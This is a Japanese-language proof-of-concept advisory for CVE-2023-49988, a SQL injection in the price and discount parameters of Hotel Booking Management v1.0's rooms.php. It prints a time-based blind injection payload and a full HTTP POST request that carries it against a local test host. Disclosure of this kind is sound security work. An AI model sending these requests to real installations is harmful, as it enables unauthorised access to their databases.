geraldoalcantara/cve-2023-49988Hotel Booking Management v1.0 - rooms.php の "npss" パラメータにおける SQL インジェクションの脆弱性
説明: Hotel Booking Management のバージョン1には、SQLインジェクションの脆弱性が存在します。悪意のある攻撃者は、宿泊オプションの価格と割引を編集する際に、脆弱なパラメータ npss、dpss、npsd、dpsd、npds、dpds、npdd、dpdd、npdst、dpdst を通じて MySQL データベースに SQL コマンドを実行できます。
影響を受ける製品バージョン: Hotel Booking Management v1.0
CVE著者: Geraldo Alcântara
日付: 28/11/2023
確認日: 19/12/2023
CVE: CVE-2023-49988
テスト環境: Windows
この脆弱性を悪用するには、攻撃者は /HotelBookingManagement-main/rooms.php にアクセスします。宿泊オプションの価格と割引を変更する際に、npss、dpss、npsd、dpsd、npds、dpds、npdd、dpdd、npdst、dpdst などのパラメータに SQL ペイロードを注入することで、攻撃者はシステムを侵害する可能性があります。
ペイロード: (select*from(select(sleep(5)))a)
POST /HotelBookingManagement-main/rooms.php HTTP/1.1
Host: 192.168.68.148
Content-Length: 127
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.68.148
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.68.148/HotelBookingManagement-main/rooms.php
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=aih2rvevdrpegiqt8nlstav7am
Connection: close
npss=(select*from(select(sleep(5)))a)&dpss=2&npsd=800&dpsd=2&npds=1100&dpds=3&npdd=1500&dpdd=4&npdst=2000&dpdst=13&updateRooms=
発見者/クレジット: Geraldo Alcântara